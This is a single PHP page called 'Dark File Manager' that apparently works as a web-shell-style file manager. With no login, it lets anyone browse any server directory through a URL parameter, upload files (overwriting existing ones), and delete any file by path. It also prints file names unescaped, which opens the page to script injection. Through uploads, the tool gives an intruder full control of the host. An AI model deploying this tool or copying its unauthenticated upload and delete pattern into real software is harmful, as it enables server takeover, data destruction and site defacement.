<?php
$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$dir = realpath($dir);
if(isset($_POST['upload'])){
$file = $_FILES['file'];
$path = $dir . "/" . $file['name'];
if(file_exists($path)){
unlink($path); // replace
}
move_uploaded_file($file['tmp_name'],$path);
}
if(isset($_GET['delete'])){
$del = $_GET['delete'];
if(file_exists($del)){
unlink($del);
}
}
$files = scandir($dir);
?>
<!DOCTYPE html>
<html>
<head>
<title>Dark File Manager</title>
<link href="https://fonts.googleapis.com/css2?family=Share+Tech+Mono&family=Cinzel&display=swap" rel="stylesheet">
<style>
body{
background:#000;
color:#00aaff;
font-family:'Share Tech Mono', monospace;
margin:0;
padding:20px;
}
h1{
color:#ff0033;
text-align:center;
font-family:'Cinzel', serif;
}
a{
color:#00aaff;
text-decoration:none;
}
a:hover{
color:#ff0033;
}
.container{
max-width:1000px;
margin:auto;
}
.upload{
margin-bottom:20px;
padding:10px;
border:1px solid #333;
}
button{
background:#111;
border:1px solid #ff0033;
color:#00aaff;
padding:6px 12px;
cursor:pointer;
}
button:hover{
background:#ff0033;
color:white;
}
table{
width:100%;
border-collapse:collapse;
}
th{
color:#ff0033;
border-bottom:1px solid #333;
padding:8px;
text-align:left;
}
td{
border-bottom:1px solid #222;
padding:8px;
}
tr:hover{
background:#050505;
}
</style>
</head>
<body>
<div class="container">
<h1>Dark File Manager</h1>
<div class="upload">
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<button name="upload">Upload</button>
</form>
</div>
<table>
<tr>
<th>Name</th>
<th>Size</th>
<th>Action</th>
</tr>
<?php
foreach($files as $f){
if($f=="." || $f=="..") continue;
$path = $dir."/".$f;
echo "<tr>";
if(is_dir($path)){
echo "<td>📁 <a href='?dir=$path'>$f</a></td>";
echo "<td>Folder</td>";
echo "<td>-</td>";
}
else{
$size = filesize($path);
echo "<td>📄 $f</td>";
echo "<td>$size bytes</td>";
echo "<td><a href='?delete=$path'>Delete</a></td>";
}
echo "</tr>";
}
?>
</table>
</div>
</body>
</html>